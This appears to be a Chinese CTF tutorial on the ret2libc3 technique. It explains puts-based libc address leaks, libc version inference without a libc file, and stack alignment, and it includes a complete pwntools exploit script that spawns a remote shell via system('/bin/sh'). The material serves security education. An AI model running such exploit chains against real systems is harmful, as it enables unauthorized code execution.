☰
ret2libc3实战:无libc文件下的信息泄露与版本推断
2026/10/12 16:17:29 网站建设 项目流程

1. 从一道经典题目说起:ret2libc3到底在考什么

如果你正在入门二进制安全,或者刚打完CTF的pwn方向基础题,大概率会在某个题单里撞见一个叫“ret2libc3”的东西。我第一次遇到它的时候,心里想的是:ret2libc我懂啊,不就是泄露libc基址然后拿system嘛,怎么还来个3?等真正上手才发现,这个“3”不是随便编的序号,它代表了一类非常典型的场景——程序本身没有给你任何现成的后门函数,也没有现成的system调用,甚至连libc版本都不告诉你。你要做的,是从零开始,一步步把libc的基址算出来,再回头打一遍。

这篇文章就是围绕这个场景展开的。我会把ret2libc3拆成几个层次来讲:它和ret2libc1、ret2libc2的本质区别在哪,为什么需要多阶段泄露,怎么在没有libc文件的情况下确定版本,以及整个利用链从信息收集到最终getshell的完整实操过程。适合已经了解栈溢出基本原理、会写简单ROP链、但还没系统打过ret2libc3的读者。如果你连栈溢出是什么都还不清楚,建议先去补一下基础,不然看这篇会有点吃力。

先说结论:ret2libc3的核心难点不在ROP链本身,而在于信息泄露的时机和方式。你需要先让程序“吐”出一个已经执行过的函数的真实地址,拿这个地址去和已知的libc数据库比对,确定libc版本,算出system和/bin/sh的偏移,然后再构造第二次利用。整个过程像是一场接力赛,第一棒跑不好,第二棒根本接不上。

2. 为什么ret2libc3比前两代难:核心差异拆解

2.1 ret2libc1和ret2libc2的“送分”之处

在讲ret2libc3之前,有必要先回顾一下它的两个前辈,这样你才能明白难度是怎么一步步加上去的。

ret2libc1是最简单的形态。题目直接给你一个二进制文件,里面已经有一个叫system的导入函数,或者干脆有一个get_shell函数。你只需要把返回地址覆盖成这个函数的地址,再在栈上布置好参数,就能拿到shell。这种题本质上考的是栈溢出的基本覆盖和参数传递规则,跟libc本身关系不大。

ret2libc2稍微进了一步。程序里没有现成的system,但是有gets或者read这样的函数,同时二进制里存在/bin/sh字符串。你需要做的是:先调用gets把/bin/sh写到某个可写地址,然后再调用system执行它。这里开始涉及到多次函数调用的栈布局,但libc的基址仍然是已知的,或者题目直接给了libc文件。

这两个版本的共同点是:你不需要泄露任何东西。所有需要的地址要么在二进制里,要么在题目提供的libc里,静态分析就能全部拿到。

2.2 ret2libc3的“三无”困境

ret2libc3就不一样了。它通常具备以下三个特征:

  • 没有后门函数:二进制里找不到system、execve或者任何能直接getshell的函数。
  • 没有/bin/sh字符串:你没法直接在二进制里找到这个字符串的地址。
  • 没有提供libc文件:题目只给你一个二进制,libc版本未知,你需要自己确定。

这三个“没有”叠加在一起,就意味着你无法在静态分析阶段算出system和/bin/sh的地址。你唯一能做的,是在程序运行时,通过某种方式泄露一个已知函数的真实地址,然后根据这个地址去推断整个libc的基址。

这里的关键逻辑是:libc是一个动态链接库,每次程序运行时,它的加载基址是随机的(ASLR),但库内部各个函数之间的相对偏移是固定的。只要你知道了任意一个函数的真实地址,用这个地址减去它在libc中的已知偏移,就能得到libc的基址。有了基址,system和/bin/sh的地址也就迎刃而解。

2.3 为什么叫“ret2libc3”而不是别的

这个命名其实是一种约定俗成的分类方式。在大多数CTF题单和教学材料中,ret2libc1、2、3分别对应三种难度递增的场景。到了“3”这个级别,考察的重点已经从“构造ROP链”转移到了“信息泄露与版本推断”。你不仅要会写ROP,还要会用工具查libc版本,会处理泄露地址的对齐问题,会在两次利用之间保持程序不崩溃。这些才是ret2libc3真正想教给你的东西。

3. 信息泄露:整个利用链的命门

3.1 泄露什么函数最合适

在ret2libc3中,你需要选择一个已经执行过或者可以轻易调用的函数来泄露它的真实地址。常见的选择有puts、write、read、printf等。选择的标准有几个:

  • 该函数在二进制中有PLT表项:这样你才能通过call plt的方式调用它。
  • 该函数在libc中的偏移是已知的:几乎所有标准libc函数都有公开的偏移数据。
  • 泄露的输出格式可控:比如puts会输出字符串直到遇到\x00,而write可以指定长度,更适合泄露二进制地址。

在实际操作中,puts是最常用的选择,因为它只需要一个参数(要输出的字符串地址),调用简单。但puts有个问题:它会在输出完地址后自动追加一个换行符,而且如果地址中间有\x00,输出会被截断。对于64位程序,地址通常是6字节有效,高位是\x00,所以puts泄露出来的地址正好是6字节,不会截断。对于32位程序,地址是4字节,也没有问题。

write则更灵活,可以指定输出长度,适合地址中包含\x00的情况。但write需要三个参数(fd、buf、count),构造ROP链稍微麻烦一点。

3.2 泄露地址的ROP链构造

假设我们选择puts来泄露puts自身的GOT表项地址。在64位程序中,ROP链的构造如下:

from pwn import * elf = ELF('./pwn') pop_rdi = 0x4007c3 # 假设的pop rdi; ret地址 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = elf.symbols['main'] payload = b'A' * offset payload += p64(pop_rdi) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(main_addr)

这段payload的逻辑是:先通过pop rdi; ret把puts的GOT地址弹入rdi(第一个参数),然后调用puts,把puts的真实地址打印出来。最后返回到main函数,让程序重新执行一遍,为第二次利用做准备。

注意:返回到main而不是直接退出,是为了让程序保持运行状态,这样libc的基址不会改变(ASLR只在程序启动时随机化一次)。如果程序退出再重启,基址会重新随机,之前泄露的地址就失效了。

对于32位程序,参数是通过栈传递的,所以不需要pop rdi,直接在栈上布置参数即可:

payload = b'A' * offset payload += p32(puts_plt) payload += p32(main_addr) payload += p32(puts_got)

这里的顺序是:返回地址覆盖为puts_plt,puts执行完后返回到main,puts的参数puts_got放在栈上。

3.3 接收泄露地址的坑

泄露地址的接收环节是新手最容易翻车的地方。常见的问题有:

  • 地址被截断:如果使用puts泄露,地址中的\x00会导致输出提前结束。对于64位程序,地址通常是6字节,高位\x00不会被输出,所以接收到的就是6字节。你需要用u64(data.ljust(8, b'\x00'))来补齐。
  • 换行符干扰:puts会在输出末尾追加\n,接收时需要去掉。
  • 接收长度不确定:有时候泄露的地址后面会跟着其他输出,需要根据实际情况调整接收方式。

我通常的做法是:

p.recvuntil(b'\n') # 先接收掉之前的输出 leaked = p.recvline().strip() puts_addr = u64(leaked.ljust(8, b'\x00'))

如果使用write泄露,可以指定长度,接收就更可控:

p.recvuntil(b'Welcome\n') leaked = p.recv(6) # 明确接收6字节 puts_addr = u64(leaked.ljust(8, b'\x00'))

实操心得:在接收泄露地址之前,最好先确认程序在泄露之前输出了什么。有时候程序会打印一些提示信息,如果你不先接收掉,这些信息会混入地址数据,导致解析失败。我一般会在本地调试时用gdb附加,观察栈上的布局和输出顺序,确认无误后再写接收代码。

4. libc版本推断:没有libc文件怎么办

4.1 使用在线libc数据库

拿到泄露的地址后,下一步是确定libc版本。最常用的方法是使用在线的libc数据库。你只需要输入泄露的函数名和地址,以及地址的低12位(因为页对齐的关系,低12位在libc加载时不会变),数据库就会返回匹配的libc版本。

具体操作是:假设泄露的puts地址是0x7f1a2b3c4d50,那么低12位是0xd50。你在数据库中输入puts和0xd50,就能得到一批候选libc。如果候选太多,可以再泄露一个函数(比如read或write)的地址,用两个地址的低12位来缩小范围。

注意:低12位之所以不变,是因为libc在内存中的加载基址是按页对齐的(通常是0x1000的倍数),所以函数地址的低12位等于它在libc文件中的偏移的低12位。这个性质是libc版本推断的基础。

4.2 使用本地工具自动匹配

如果你不想手动查数据库,可以使用一些本地工具来自动化这个过程。比如libc-database这个项目,它把大量的libc文件索引起来,你只需要提供泄露的地址,它就能帮你搜索匹配的版本。

使用方式大致是:

./find puts 0xd50

或者如果你有多个泄露地址:

./find puts 0xd50 read 0x2a0

工具会返回匹配的libc文件路径和对应的偏移。拿到libc文件后,你就可以用readelf或者objdump来查看system和/bin/sh的偏移了。

4.3 手动计算偏移

假设你已经确定了libc版本,并且拿到了libc文件。接下来需要计算三个关键地址:

  • system的偏移:readelf -s libc.so.6 | grep system
  • /bin/sh的偏移:strings -a -t x libc.so.6 | grep /bin/sh
  • 泄露函数的偏移:比如puts的偏移,同样用readelf -s查看

然后计算libc基址:

libc_base = puts_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

这里有一个细节:libc.search返回的是一个生成器,需要用next取第一个匹配项。有时候libc中会有多个/bin/sh字符串,通常取第一个就够了。

踩过的坑:有些libc版本中,system函数内部会调用/bin/sh,但字符串可能不在预期的位置。如果next(libc.search(b'/bin/sh'))找不到,可以尝试用/bin/sh\x00或者直接用strings命令手动查找。另外,某些libc版本对栈对齐有要求,如果system执行时栈没有16字节对齐,可能会在内部崩溃。解决办法是在ROP链中插入一个ret指令来调整栈对齐。

5. 第二次利用:从泄露到getshell

5.1 重新回到漏洞点

第一次利用结束后,程序返回到main函数,重新开始执行。这时候你需要再次触发栈溢出漏洞,构造第二次ROP链。第二次ROP链的目标是调用system('/bin/sh')。

在64位程序中,构造如下:

payload2 = b'A' * offset payload2 += p64(ret_addr) # 用于栈对齐 payload2 += p64(pop_rdi) payload2 += p64(bin_sh_addr) payload2 += p64(system_addr)

这里的ret_addr是一个单纯的ret指令地址,作用是调整栈对齐。为什么需要这个?因为system函数内部使用了SSE指令,要求栈在调用时是16字节对齐的。如果直接调用system,栈可能没有对齐,导致system内部崩溃。插入一个ret相当于多弹了一次栈,把栈对齐调整到正确的位置。

在32位程序中,构造更简单:

payload2 = b'A' * offset payload2 += p32(system_addr) payload2 += p32(0xdeadbeef) # 假的返回地址 payload2 += p32(bin_sh_addr)

32位程序通过栈传递参数,所以system的返回地址后面直接跟参数/bin/sh的地址。

5.2 栈对齐问题的深入分析

栈对齐是64位ROP中非常容易忽略的问题。x86-64的ABI要求,在调用函数时,栈指针rsp必须是16字节对齐的。具体来说,当call指令执行时,rsp会减8(压入返回地址),所以进入函数体时,rsp % 16 == 8。如果此时rsp没有满足这个条件,函数内部的SSE指令(如movaps)就会触发段错误。

在ROP链中,每个ret指令会弹出8字节,所以rsp会增加8。如果你在ROP链中插入奇数个ret,就能改变栈的对齐状态。通常的做法是在调用system之前插入一个ret,这样rsp会额外增加8,从而满足对齐要求。

实操心得:栈对齐问题在本地调试时可能不会出现,因为本地环境的栈布局可能恰好对齐。但在远程环境中,由于环境变量、参数等因素,栈布局可能不同,导致对齐问题暴露。所以我在写64位ROP时,会习惯性地在system之前加一个ret,不管本地是否崩溃。这个习惯帮我避免了很多远程打不通的情况。

5.3 完整利用脚本示例

下面是一个完整的ret2libc3利用脚本框架,以64位为例:

from pwn import * context.log_level = 'debug' elf = ELF('./pwn') libc = ELF('./libc.so.6') # 确定版本后加载 p = remote('target', 9999) # 第一次利用:泄露puts地址 pop_rdi = 0x4007c3 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = elf.symbols['main'] offset = 40 payload1 = b'A' * offset payload1 += p64(pop_rdi) payload1 += p64(puts_got) payload1 += p64(puts_plt) payload1 += p64(main_addr) p.recvuntil(b'input:') p.sendline(payload1) # 接收泄露地址 p.recvuntil(b'\n') leaked = p.recvline().strip() puts_addr = u64(leaked.ljust(8, b'\x00')) log.success(f'puts address: {hex(puts_addr)}') # 计算libc基址 libc_base = puts_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] bin_sh_addr = libc_base + next(libc.search(b'/bin/sh')) log.success(f'libc base: {hex(libc_base)}') log.success(f'system: {hex(system_addr)}') log.success(f'/bin/sh: {hex(bin_sh_addr)}') # 第二次利用:getshell ret_addr = 0x4007c4 # 一个ret指令的地址 payload2 = b'A' * offset payload2 += p64(ret_addr) payload2 += p64(pop_rdi) payload2 += p64(bin_sh_addr) payload2 += p64(system_addr) p.recvuntil(b'input:') p.sendline(payload2) p.interactive()

这个脚本涵盖了从泄露到getshell的完整流程。实际使用时,需要根据题目的具体情况调整偏移、地址和接收方式。

6. 常见问题与排查技巧实录

6.1 泄露地址不对怎么办

这是最常见的问题。可能的原因有:

  • 偏移计算错误:栈溢出的偏移量算错了,导致ROP链没有正确覆盖返回地址。解决办法是用gdb的pattern create和pattern offset来精确计算偏移。
  • 接收方式错误:泄露的地址被截断或者混入了其他数据。解决办法是在本地用gdb观察输出,确认接收的字节数和格式。
  • 函数选择不当:某些函数在特定libc版本中偏移不稳定,或者被其他机制干扰。可以尝试换一个函数泄露,比如从puts换成write。

6.2 libc版本匹配不上怎么办

有时候你拿到的泄露地址在数据库中找不到匹配的libc。可能的原因有:

  • 低12位计算错误:确认你取的是地址的低12位,而不是整个地址。
  • 泄露的地址不准确:如果接收时多了或少了字节,地址就会偏移,导致低12位错误。
  • 题目使用了非标准libc:有些题目会使用自定义编译的libc,这种情况下在线数据库可能匹配不到。可以尝试用多个泄露地址来缩小范围,或者直接向题目提供方确认libc版本。

6.3 第二次利用崩溃怎么办

第二次利用崩溃通常有以下几个原因:

  • 栈对齐问题:如前所述,64位程序需要在system之前插入ret来对齐栈。如果崩溃发生在system内部,大概率是这个原因。
  • libc基址计算错误:如果基址算错了,system和/bin/sh的地址都会错,导致跳转到非法地址。检查泄露地址和偏移的计算过程。
  • 程序状态被破坏:第一次利用后,程序可能没有正确返回到main,或者某些全局变量被覆盖,导致第二次利用时行为异常。可以在第一次利用后检查程序是否正常输出了预期的提示信息。

6.4 常见问题速查表

问题现象可能原因排查方法
泄露地址为0或异常值偏移错误或接收方式错误用gdb确认栈布局,检查接收代码
libc数据库无匹配低12位错误或libc非标准重新计算低12位,尝试多个泄露地址
第二次利用无响应栈对齐问题或地址错误插入ret对齐栈,检查基址计算
getshell后命令无输出shell未正确执行检查system参数是否为/bin/sh地址
本地通远程不通环境差异导致栈布局不同在远程环境中调试,检查对齐和偏移

独家避坑技巧:在本地调试时,我习惯用gdb的attach功能附加到运行中的进程,然后手动检查栈上的ROP链是否按预期布置。具体做法是在发送payload之前,在脚本中插入pause(),然后用gdb -p PID附加,查看rsp和栈内容。这个习惯帮我发现了无数次的偏移错误和地址错误。

7. 从ret2libc3延伸出去:还能学到什么

打完ret2libc3之后,你其实已经掌握了ROP利用的核心方法论:信息泄露、版本推断、多阶段利用。这套方法论可以延伸到很多其他场景。

比如,当程序开启了Full RELRO时,GOT表不可写,但你可以用__libc_start_main的地址来泄露libc基址。当程序没有pop rdi这样的gadget时,你可以用__libc_csu_init中的gadget来构造调用。当题目提供了libc但版本较新时,你可能需要处理system内部调用/bin/sh的偏移变化。

再往深了走,你可以学习ret2dlresolve,这是一种不需要泄露libc地址就能调用任意函数的技巧。或者学习SROP,利用sigreturn系统调用来控制所有寄存器。这些技术都是在ret2libc3的基础上发展出来的,掌握了基础,后面的路会好走很多。

我个人在实际操作中的体会是:ret2libc3最大的价值不是教会你某个具体的利用技巧,而是让你养成分阶段思考的习惯。在真实的漏洞利用中,很少有一次就能打通的场景,更多时候你需要先泄露信息、再调整策略、最后实施攻击。这种思维方式,比任何具体的gadget都重要。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询